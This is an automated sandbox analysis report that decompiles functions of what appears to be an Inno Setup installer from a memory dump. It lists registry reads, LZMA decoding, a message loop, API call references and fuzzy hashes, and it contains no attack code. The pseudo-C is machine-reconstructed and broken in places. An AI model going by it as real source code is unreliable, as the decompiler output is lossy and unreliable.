                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 43%
                                                          			E004676E8(void* __eax, void* __edx, intOrPtr _a4) {
                                                          				char _v8;
                                                          				void* __ecx;
                                                          				void* __ebp;
                                                          				void* _t12;
                                                          				char _t13;
                                                          				void* _t18;
                                                          				void* _t19;
                                                          
                                                          				_v8 = _t13;
                                                          				_push(4);
                                                          				_t2 =  &_v8; // 0x4ae064
                                                          				_push(4);
                                                          				_push(0);
                                                          				_push(__edx);
                                                          				_push(__eax); // executed
                                                          				L00405934(); // executed
                                                          				if(__eax != 0) {
                                                          					return E0046755C(0, _t12,  *((intOrPtr*)(_a4 - 8)),  *((intOrPtr*)(_a4 - 4)), _t18, _t19, 0, __eax);
                                                          				}
                                                          				return __eax;
                                                          			}










                                                          0x004676ec
                                                          0x004676ef
                                                          0x004676f1
                                                          0x004676f5
                                                          0x004676f7
                                                          0x004676f9
                                                          0x004676fa
                                                          0x004676fb
                                                          0x00467702
                                                          0x00000000
                                                          0x00467713
                                                          0x0046771a

                                                          APIs
                                                          • 6CAA68C0.ADVAPI32(?,NoModify,00000000,00000004,dJ,00000004,00000001,?,00467B7A,?,?,00000000,00467C07,?,_is1,00000001), ref: 004676FB
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: NoModify$dJ
                                                          • API String ID: 0-800172441
                                                          • Opcode ID: 5bf5e1e6e107bb9a7a5d0b7ed4729e7556d4d87d55e1c88d5e7d295b86db15ce
                                                          • Instruction ID: 87aa0254bd23a66089402b5b6b897a932c5b513ec548fed5d435c92841c13577
                                                          • Opcode Fuzzy Hash: 5bf5e1e6e107bb9a7a5d0b7ed4729e7556d4d87d55e1c88d5e7d295b86db15ce
                                                          • Instruction Fuzzy Hash: B4E04FB0644304BFEB04DB55CD4AF6B77ECDB48764F104059BA089B291E674FE00CA68
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 87%
                                                          			E0045A430(intOrPtr __eax, void* __ebx, void* __edi, void* __esi) {
                                                          				char _v5;
                                                          				intOrPtr _v12;
                                                          				intOrPtr _v16;
                                                          				intOrPtr _v20;
                                                          				long _v24;
                                                          				void* _v28;
                                                          				char _v32;
                                                          				char _v36;
                                                          				char _v40;
                                                          				void* _t94;
                                                          				intOrPtr _t104;
                                                          				intOrPtr _t117;
                                                          				signed int _t120;
                                                          				void* _t123;
                                                          				char _t124;
                                                          				void* _t127;
                                                          				void* _t142;
                                                          
                                                          				_v32 = 0;
                                                          				_t104 = __eax;
                                                          				_push(_t127);
                                                          				_push(0x45a5be);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t127 + 0xffffffdc;
                                                          				if( *((intOrPtr*)(__eax + 4))() != 1) {
                                                          					E0045A344(1);
                                                          				}
                                                          				if( *((intOrPtr*)(_t104 + 4))() != 4) {
                                                          					E0045A344(2);
                                                          				}
                                                          				if(_v12 < 0 || _v12 > 0x2000000) {
                                                          					E0045A344(7);
                                                          				}
                                                          				if(_v5 >= 0xe1) {
                                                          					E0045A344(3);
                                                          				}
                                                          				_v20 = 0;
                                                          				while(_v5 >= 0x2d) {
                                                          					_v20 = _v20 + 1;
                                                          					_v5 = _v5 - 0x2d;
                                                          				}
                                                          				_t123 = 0;
                                                          				while(_v5 >= 9) {
                                                          					_t123 = _t123 + 1;
                                                          					_v5 = _v5 - 9;
                                                          				}
                                                          				_v16 = 0;
                                                          				_t120 = E0045B028(_v16, _t123);
                                                          				if((_t120 & 0x00000003) != 0) {
                                                          					_t120 = (_t120 | 0x00000003) + 1;
                                                          				}
                                                          				_v24 = _v12 + _t120;
                                                          				if( *(_t104 + 0x20) != _v24) {
                                                          					E0045A3D4(_t104);
                                                          					_t94 = VirtualAlloc(0, _v24, 0x1000, 4); // executed
                                                          					 *(_t104 + 0x1c) = _t94;
                                                          					if( *(_t104 + 0x1c) == 0) {
                                                          						E00408DE4();
                                                          					}
                                                          					 *(_t104 + 0x20) = _v24;
                                                          				}
                                                          				_v28 =  *(_t104 + 0x1c);
                                                          				 *((intOrPtr*)(_t104 + 0x10)) = 0x45a3a0;
                                                          				 *((intOrPtr*)(_t104 + 0x14)) = _t104;
                                                          				_t124 = E0045A9D4(_v28, _v16, _t120, _t104 + 0x10, _v12, _v28 + _t120, _v20, _t123);
                                                          				_t142 = _t124 - 1;
                                                          				if(_t142 >= 0) {
                                                          					if(_t142 == 0) {
                                                          						E0045A344(4);
                                                          					} else {
                                                          						_v40 = _t124;
                                                          						_v36 = 0;
                                                          						E00407B08("LzmaDecoderInit failed (%d)", 0,  &_v40,  &_v32);
                                                          						E0045A2CC(_v32, _t104, 0, _t120, _t124);
                                                          					}
                                                          				}
                                                          				 *(_t104 + 0x18) = _v28;
                                                          				_pop(_t117);
                                                          				 *[fs:eax] = _t117;
                                                          				_push(0x45a5c5);
                                                          				return E00403548( &_v32);
                                                          			}




















                                                          0x0045a43b
                                                          0x0045a43e
                                                          0x0045a442
                                                          0x0045a443
                                                          0x0045a448
                                                          0x0045a44b
                                                          0x0045a45d
                                                          0x0045a464
                                                          0x0045a464
                                                          0x0045a47a
                                                          0x0045a481
                                                          0x0045a481
                                                          0x0045a48a
                                                          0x0045a49a
                                                          0x0045a49a
                                                          0x0045a4a3
                                                          0x0045a4aa
                                                          0x0045a4aa
                                                          0x0045a4b1
                                                          0x0045a4b8
                                                          0x0045a4ba
                                                          0x0045a4bd
                                                          0x0045a4c1
                                                          0x0045a4c7
                                                          0x0045a4cd
                                                          0x0045a4cf
                                                          0x0045a4d0
                                                          0x0045a4d4
                                                          0x0045a4df
                                                          0x0045a4ec
                                                          0x0045a4f4
                                                          0x0045a4f9
                                                          0x0045a4f9
                                                          0x0045a4ff
                                                          0x0045a508
                                                          0x0045a50c
                                                          0x0045a51e
                                                          0x0045a523
                                                          0x0045a52a
                                                          0x0045a52c
                                                          0x0045a52c
                                                          0x0045a534
                                                          0x0045a534
                                                          0x0045a53a
                                                          0x0045a542
                                                          0x0045a549
                                                          0x0045a567
                                                          0x0045a56b
                                                          0x0045a56e
                                                          0x0045a570
                                                          0x0045a579
                                                          0x0045a572
                                                          0x0045a584
                                                          0x0045a587
                                                          0x0045a595
                                                          0x0045a59d
                                                          0x0045a59d
                                                          0x0045a570
                                                          0x0045a5a5
                                                          0x0045a5aa
                                                          0x0045a5ad
                                                          0x0045a5b0
                                                          0x0045a5bd

                                                          APIs
                                                          • VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 0045A51E
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: AllocVirtual
                                                          • String ID: -$LzmaDecoderInit failed (%d)
                                                          • API String ID: 4275171209-4285503710
                                                          • Opcode ID: 621d95ef71f6858ea72ceff4776af29aba9d5c77bdc7562fde38282554932a55
                                                          • Instruction ID: 3a8d2ab1d949706bf40386ce327b59ee06084d7b6c340cfe13ec33ceaf29663c
                                                          • Opcode Fuzzy Hash: 621d95ef71f6858ea72ceff4776af29aba9d5c77bdc7562fde38282554932a55
                                                          • Instruction Fuzzy Hash: E4518470A04208AFDB00DFA9C449B9EBBB5EF45305F14426BED04EB243D77C9959CB5A
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00424614(void* __eax) {
                                                          				struct tagMSG _v36;
                                                          				int _t16;
                                                          				int _t32;
                                                          				void* _t39;
                                                          				char* _t40;
                                                          
                                                          				_t40 =  &(_v36.message);
                                                          				_t39 = __eax;
                                                          				_t32 = 0;
                                                          				_t16 = PeekMessageA( &_v36, 0, 0, 0, 1); // executed
                                                          				if(_t16 != 0) {
                                                          					_t32 = 1;
                                                          					if(_v36.message == 0x12) {
                                                          						 *((char*)(_t39 + 0x7c)) = 1;
                                                          					} else {
                                                          						 *_t40 = 0;
                                                          						if( *((short*)(_t39 + 0x96)) != 0) {
                                                          							 *((intOrPtr*)(_t39 + 0x94))();
                                                          						}
                                                          						if(E004245E4(_t39,  &_v36) == 0 &&  *_t40 == 0 && E00424530(_t39,  &_v36) == 0 && E00424580(_t39,  &_v36) == 0 && E0042450C(_t39,  &_v36) == 0) {
                                                          							TranslateMessage( &_v36);
                                                          							DispatchMessageA( &_v36); // executed
                                                          						}
                                                          					}
                                                          				}
                                                          				return _t32;
                                                          			}








                                                          0x00424616
                                                          0x00424619
                                                          0x0042461b
                                                          0x0042462a
                                                          0x00424631
                                                          0x00424637
                                                          0x0042463e
                                                          0x004246b8
                                                          0x00424640
                                                          0x00424640
                                                          0x0042464c
                                                          0x0042465a
                                                          0x0042465a
                                                          0x0042466d
                                                          0x004246a7
                                                          0x004246b1
                                                          0x004246b1
                                                          0x0042466d
                                                          0x0042463e
                                                          0x004246c3

                                                          APIs
                                                          • PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 0042462A
                                                          • TranslateMessage.USER32(?), ref: 004246A7
                                                          • DispatchMessageA.USER32 ref: 004246B1
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Message$DispatchPeekTranslate
                                                          • String ID:
                                                          • API String ID: 4217535847-0
                                                          • Opcode ID: 101501b58656229cd05d7a27e6a43ae9461bd87c187a46cc92432eddc1cd9a7a
                                                          • Instruction ID: cbb115951d373a7ac228c0bdda5e03c02774bbeb5e0b5da5e65f50fe82f2540b
                                                          • Opcode Fuzzy Hash: 101501b58656229cd05d7a27e6a43ae9461bd87c187a46cc92432eddc1cd9a7a
                                                          • Instruction Fuzzy Hash: F611A7703043106ADA20EAA4F941B9B77D5CFC2704F80491EF9C967382D7BD9E4A879A
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E0041685C(void* __eax) {
                                                          				int _t7;
                                                          				void* _t19;
                                                          				void* _t22;
                                                          				intOrPtr _t23;
                                                          
                                                          				_t7 = __eax;
                                                          				_t19 = __eax;
                                                          				if( *(__eax + 0xc0) == 0) {
                                                          					 *((intOrPtr*)( *__eax + 0x64))();
                                                          					_t22 = __eax;
                                                          					SetPropA( *(__eax + 0xc0),  *0x48d5c8 & 0x0000ffff, __eax);
                                                          					_t7 = SetPropA( *(_t19 + 0xc0),  *0x48d5c6 & 0x0000ffff, _t22);
                                                          					_t23 =  *((intOrPtr*)(_t19 + 0x20));
                                                          					_t25 = _t23;
                                                          					if(_t23 != 0) {
                                                          						return SetWindowPos( *(_t19 + 0xc0), E00416814(_t23, _t19, _t25), 0, 0, 0, 0, 0x13);
                                                          					}
                                                          				}
                                                          				return _t7;
                                                          			}







                                                          0x0041685c
                                                          0x0041685e
                                                          0x00416867
                                                          0x0041686d
                                                          0x00416870
                                                          0x00416882
                                                          0x00416897
                                                          0x0041689c
                                                          0x0041689f
                                                          0x004168a1
                                                          0x00000000
                                                          0x004168be
                                                          0x004168a1
                                                          0x004168c5

                                                          APIs
                                                          • SetPropA.USER32 ref: 00416882
                                                          • SetPropA.USER32 ref: 00416897
                                                          • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,00000000,00000000,?,00000000,00000000), ref: 004168BE
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Prop$Window
                                                          • String ID:
                                                          • API String ID: 3363284559-0
                                                          • Opcode ID: 2e2514f257e95376671d7c0d12f94f83b3af382eb4e12e0b0a418a898c20a414
                                                          • Instruction ID: 348b5f1b6fb5962e7ea440be5696d7d57ae95876bc31aaabdf682a8b60d91e04
                                                          • Opcode Fuzzy Hash: 2e2514f257e95376671d7c0d12f94f83b3af382eb4e12e0b0a418a898c20a414
                                                          • Instruction Fuzzy Hash: 3EF0B271B02220ABE710BF999C85FA633DCAB09715F1505BAB904EF2C6C678DD45C7B4
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 75%
                                                          			E00476E54(void* __eflags, void* __fp0) {
                                                          				char _v8;
                                                          				char _v12;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				intOrPtr _t6;
                                                          				void* _t10;
                                                          				intOrPtr _t11;
                                                          				intOrPtr _t17;
                                                          				void* _t20;
                                                          				intOrPtr _t22;
                                                          				intOrPtr _t30;
                                                          				void* _t31;
                                                          				void* _t33;
                                                          				intOrPtr _t36;
                                                          
                                                          				_t40 = __fp0;
                                                          				_push(_t20);
                                                          				_push(_t33);
                                                          				_push(_t31);
                                                          				_t22 =  *0x48d628; // 0x21c2410
                                                          				_t6 = E00460F30(_t20, _t22, 1, _t31, _t33, __fp0); // executed
                                                          				 *0x4adf64 = _t6;
                                                          				_t38 =  *0x4ae298;
                                                          				if( *0x4ae298 != 0) {
                                                          					_push( *[fs:eax]);
                                                          					 *[fs:eax] = _t36;
                                                          					_v12 = 0;
                                                          					_v8 = 0xb;
                                                          					_t17 =  *0x4ae298; // 0x21edcfc
                                                          					E00487508(_t17,  &_v12, "InitializeWizard", _t38, __fp0, 0, 0);
                                                          					_pop(_t30);
                                                          					_t22 = 0x476eb4;
                                                          					 *[fs:eax] = _t30;
                                                          				}
                                                          				E00463DE4( *0x4adf64, _t22, 1, _t38, _t40);
                                                          				if( *0x4ae24d != 0) {
                                                          					_t10 = E004658B0( *0x4adf64, _t20, _t22, _t31, _t33); // executed
                                                          				} else {
                                                          					_t11 =  *0x48d628; // 0x21c2410
                                                          					SetActiveWindow( *(_t11 + 0x20));
                                                          					_t10 = E0042301C( *0x4adf64);
                                                          				}
                                                          				return _t10;
                                                          			}



















                                                          0x00476e54
                                                          0x00476e5a
                                                          0x00476e5b
                                                          0x00476e5c
                                                          0x00476e5d
                                                          0x00476e6a
                                                          0x00476e6f
                                                          0x00476e74
                                                          0x00476e7b
                                                          0x00476e85
                                                          0x00476e88
                                                          0x00476e91
                                                          0x00476e94
                                                          0x00476ea0
                                                          0x00476ea5
                                                          0x00476eac
                                                          0x00476eae
                                                          0x00476eaf
                                                          0x00476eaf
                                                          0x00476ed7
                                                          0x00476ee3
                                                          0x00476f04
                                                          0x00476ee5
                                                          0x00476ee5
                                                          0x00476eee
                                                          0x00476ef8
                                                          0x00476ef8
                                                          0x00476f0f

                                                          APIs
                                                          • SetActiveWindow.USER32(?), ref: 00476EEE
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: ActiveWindow
                                                          • String ID: InitializeWizard
                                                          • API String ID: 2558294473-2356795471
                                                          • Opcode ID: ec8edcab4a078f5af787f177166efaa3c32d3e3913135087064beb897a1841c6
                                                          • Instruction ID: 686b7e06ee3e7c8eeb774db20f11596040e0a247b59185631a7d834df8d8b81a
                                                          • Opcode Fuzzy Hash: ec8edcab4a078f5af787f177166efaa3c32d3e3913135087064beb897a1841c6
                                                          • Instruction Fuzzy Hash: C911E5316086409FD304FF29EC42B863BE9D30A328F61847BF40987AE0E6399804C72D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00471998(void* __eax, void* __edx, void* __eflags) {
                                                          				void* _v8;
                                                          				void* __ecx;
                                                          				void* _t7;
                                                          				long _t13;
                                                          				void* _t17;
                                                          				void* _t24;
                                                          
                                                          				_t24 = _t17;
                                                          				_t7 = E0042DD88(__eax, "Software\\Microsoft\\Windows\\CurrentVersion", 0x80000002,  &_v8, 1, 0); // executed
                                                          				if(_t7 != 0) {
                                                          					return E00403548(_t24);
                                                          				}
                                                          				if(E0042DCB8() == 0) {
                                                          					E00403548(_t24);
                                                          				}
                                                          				_t13 = RegCloseKey(_v8); // executed
                                                          				return _t13;
                                                          			}









                                                          0x0047199f
                                                          0x004719b9
                                                          0x004719c0
                                                          0x00000000
                                                          0x004719e6
                                                          0x004719d0
                                                          0x004719d4
                                                          0x004719d4
                                                          0x004719dd
                                                          0x00000000

                                                          APIs
                                                            • Part of subcall function 0042DD88: 6CAA6790.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,00477FD3,?,00000001,?,?,00477FD3,?,00000001,00000000), ref: 0042DDA4
                                                          • RegCloseKey.ADVAPI32(?,?,00000001,00000000,?,?,?,?,?,00471BCE,00000000,00471D08), ref: 004719DD
                                                          Strings
                                                          • Software\Microsoft\Windows\CurrentVersion, xrefs: 004719AD
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A6790Close
                                                          • String ID: Software\Microsoft\Windows\CurrentVersion
                                                          • API String ID: 1840404773-1019749484
                                                          • Opcode ID: 14a6a978719598d26cc525b017e61cc47e42a5b614a0d247eed49da72d7bd165
                                                          • Instruction ID: 425479ba66dc75bc9cdd290e9e57642917d3675fcb52ac5f8299042defdb5fd7
                                                          • Opcode Fuzzy Hash: 14a6a978719598d26cc525b017e61cc47e42a5b614a0d247eed49da72d7bd165
                                                          • Instruction Fuzzy Hash: A2F082B270411477DA04A5AFAC52AAFA29C8F84758F20403BF649D7261D9A9DE029358
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 37%
                                                          			E00467678(void* __eax, void* __ecx, void* __edx, intOrPtr _a4) {
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				void* _t10;
                                                          				void* _t21;
                                                          
                                                          				_t21 = __eax;
                                                          				_push(E004036BC(__ecx) + 1);
                                                          				_t10 = E00403880(__ecx);
                                                          				_push(_t10);
                                                          				_push(1);
                                                          				_push(0);
                                                          				_push(__edx);
                                                          				_push(_t21); // executed
                                                          				L00405934(); // executed
                                                          				if(_t10 != 0) {
                                                          					return E0046755C(0, __ecx,  *((intOrPtr*)(_a4 - 8)),  *((intOrPtr*)(_a4 - 4)), __edx, _t21, 0, _t10);
                                                          				}
                                                          				return _t10;
                                                          			}









                                                          0x00467682
                                                          0x0046768c
                                                          0x0046768f
                                                          0x00467694
                                                          0x00467695
                                                          0x00467697
                                                          0x00467699
                                                          0x0046769a
                                                          0x0046769b
                                                          0x004676a2
                                                          0x00000000
                                                          0x004676b3
                                                          0x004676bc

                                                          APIs
                                                          • 6CAA68C0.ADVAPI32(?,Inno Setup: Setup Version,00000000,00000001,00000000,00000001,?,00000001,004AE064,?,0046780B,?,00000000,00467C07,?,_is1), ref: 0046769B
                                                          Strings
                                                          • Inno Setup: Setup Version, xrefs: 00467699
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: Inno Setup: Setup Version
                                                          • API String ID: 0-4166306022
                                                          • Opcode ID: 240baf9f946119168dcfc4d04177a678600fed45a8065c649f01a787b921a41a
                                                          • Instruction ID: ec68abbe36a8d6f53f4cf507a5851cd9d1a1bac321da2742eb9d660d9011b95c
                                                          • Opcode Fuzzy Hash: 240baf9f946119168dcfc4d04177a678600fed45a8065c649f01a787b921a41a
                                                          • Instruction Fuzzy Hash: 89E06D713016047BD710AA2E9C89F6BAADCDF897A9F00407AB90CDB392D578DD4085A8
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 51%
                                                          			E0042DD88(void* __eax, void* __ecx, void* __edx, intOrPtr _a4, signed int _a8, intOrPtr _a12) {
                                                          				intOrPtr _t6;
                                                          				void* _t7;
                                                          				void* _t8;
                                                          				signed int _t9;
                                                          
                                                          				_t8 = __edx;
                                                          				_t7 = __ecx;
                                                          				_t9 = _a8;
                                                          				if(__eax == 2) {
                                                          					_t9 = _t9 | 0x00000100;
                                                          				}
                                                          				_push(_a4);
                                                          				_push(_t9);
                                                          				_t6 = _a12;
                                                          				_push(_t6);
                                                          				_push(_t7);
                                                          				_push(_t8); // executed
                                                          				L00405914(); // executed
                                                          				return _t6;
                                                          			}







                                                          0x0042dd88
                                                          0x0042dd88
                                                          0x0042dd8c
                                                          0x0042dd91
                                                          0x0042dd93
                                                          0x0042dd93
                                                          0x0042dd9c
                                                          0x0042dd9d
                                                          0x0042dd9e
                                                          0x0042dda1
                                                          0x0042dda2
                                                          0x0042dda3
                                                          0x0042dda4
                                                          0x0042ddab

                                                          APIs
                                                          • 6CAA6790.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,00477FD3,?,00000001,?,?,00477FD3,?,00000001,00000000), ref: 0042DDA4
                                                          Strings
                                                          • System\CurrentControlSet\Control\Windows, xrefs: 0042DDA2
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A6790
                                                          • String ID: System\CurrentControlSet\Control\Windows
                                                          • API String ID: 2139647898-1109719901
                                                          • Opcode ID: 9452c226d8c6f758ed12fe55bb04564b8888c6db6bcbc944cb58ab6289bc677e
                                                          • Instruction ID: 05110dbdb8631298ebd9b70879473f8c73d3283da03f96e5be027dfe4aeb004a
                                                          • Opcode Fuzzy Hash: 9452c226d8c6f758ed12fe55bb04564b8888c6db6bcbc944cb58ab6289bc677e
                                                          • Instruction Fuzzy Hash: D7D0C9B692052CBBDB00EA89DC41DFB779DDB59360F44802AFD089B200C2B5ED519BF8
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          APIs
                                                          • RtlEnterCriticalSection.KERNEL32(0048D420,00000000,00402204), ref: 004020D3
                                                            • Part of subcall function 004019D4: RtlInitializeCriticalSection.KERNEL32(0048D420,00000000,00401A8A,?,?,00402236,0048D460,00000000,00000000,?,?,00401C51,00401C66,00401DAA), ref: 004019EA
                                                            • Part of subcall function 004019D4: RtlEnterCriticalSection.KERNEL32(0048D420,0048D420,00000000,00401A8A,?,?,00402236,0048D460,00000000,00000000,?,?,00401C51,00401C66,00401DAA), ref: 004019FD
                                                            • Part of subcall function 004019D4: LocalAlloc.KERNEL32(00000000,00000FF8,0048D420,00000000,00401A8A,?,?,00402236,0048D460,00000000,00000000,?,?,00401C51,00401C66,00401DAA), ref: 00401A27
                                                            • Part of subcall function 004019D4: RtlLeaveCriticalSection.KERNEL32(0048D420,00401A91,00000000,00401A8A,?,?,00402236,0048D460,00000000,00000000,?,?,00401C51,00401C66,00401DAA), ref: 00401A84
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: CriticalSection$Enter$AllocInitializeLeaveLocal
                                                          • String ID:
                                                          • API String ID: 296031713-0
                                                          • Opcode ID: 5e7c9d33af3beb7c0639dcd091950a11f6349bd0538904c202dbdc118545c73a
                                                          • Instruction ID: efce3ed5edfca4bdd6d7588905b72773811f0370f718a470ac866a0653614aae
                                                          • Opcode Fuzzy Hash: 5e7c9d33af3beb7c0639dcd091950a11f6349bd0538904c202dbdc118545c73a
                                                          • Instruction Fuzzy Hash: CC41CFB2E023049FE720CF69DD8561DBBA0FB54728B15467ED844A77E2D378AC42CB48
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 90%
                                                          			E0042DB84(void* __eax, void* __ebx, intOrPtr __ecx, char* __edx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8) {
                                                          				intOrPtr _v8;
                                                          				int _v12;
                                                          				int _v16;
                                                          				char _v20;
                                                          				long _t48;
                                                          				long _t59;
                                                          				char _t67;
                                                          				intOrPtr _t82;
                                                          				int _t87;
                                                          				char* _t89;
                                                          				void* _t91;
                                                          				void* _t94;
                                                          
                                                          				_v20 = 0;
                                                          				_v8 = __ecx;
                                                          				_t89 = __edx;
                                                          				_t91 = __eax;
                                                          				_push(_t94);
                                                          				_push(0x42dca5);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t94 + 0xfffffff0;
                                                          				while(1) {
                                                          					_v16 = 0;
                                                          					_t48 = RegQueryValueExA(_t91, _t89, 0,  &_v12, 0,  &_v16); // executed
                                                          					if(_t48 != 0 || _v12 != _a8 && _v12 != _a4) {
                                                          						break;
                                                          					}
                                                          					if(_v16 != 0) {
